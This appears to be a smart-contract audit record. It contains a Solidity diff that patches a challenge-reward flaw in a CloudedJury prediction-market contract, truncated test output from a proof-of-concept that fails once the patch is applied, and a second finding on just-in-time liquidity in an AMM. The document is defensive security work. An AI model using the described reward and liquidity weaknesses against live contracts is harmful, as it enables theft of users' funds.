 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
+        uint256 challengerOutcome;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
-    function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
+    function challenge(uint256, uint256) external pure {
+        revert ChallengerOutcomeRequired();
+    }
+
+    function challenge(uint256 _marketId, uint256 _tokenId, uint256 _outcomeId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
+        if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
+        if (_outcomeId == market.juryOutcome) revert InvalidId();
         market.marketChallengedTS = block.timestamp;
+        market.challengerOutcome = _outcomeId;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
-                if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
+                if (market.challengerOutcome == _marketOutcome) {
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
-                } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
+                } else _slash(_marketId, market.challengerOutcome, _currentTokenId);
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
-        uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
-        bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
+        bool    _isChallengerTokenSlashed = _marketOutcome != market.challengerOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
+    error ChallengerOutcomeRequired();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

Affected files

  • src/CloudedJury.sol
  • CloudedJury.sol

Validation output

[output truncated: 1172 lines & 64.4951171875 KB skipped]
Ran 1 test suite in 10.60ms (2.86ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: ChallengerOutcomeRequired()] test_challengerGetsRewardAndDaoMintWithoutAssertingOutcome() (gas: 1797366)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Just-in-time liquidity captures swap fees

High#298783Validity: Unreviewed

Comment:

Large trades in the AMM are most likely to originate from buybacks. Buyback timing is predictable on-chain and protected by the TWAP guard. The protocol intentionally allows LPs to add liquidity in advance and benefit from these large trades — this is the market mechanism working as designed.

Source locations

Uploaded archive/CloudedDAO.sol (2 locations)

Lines 221-271 — _addLiquidity/removeLiquidity lack any lock-up, enabling JIT liquidity around swaps_ — _Liquidity can be added and LP minted immediately with no lock or minimum duration._ — _The same LP can be removed immediately at current reserves._

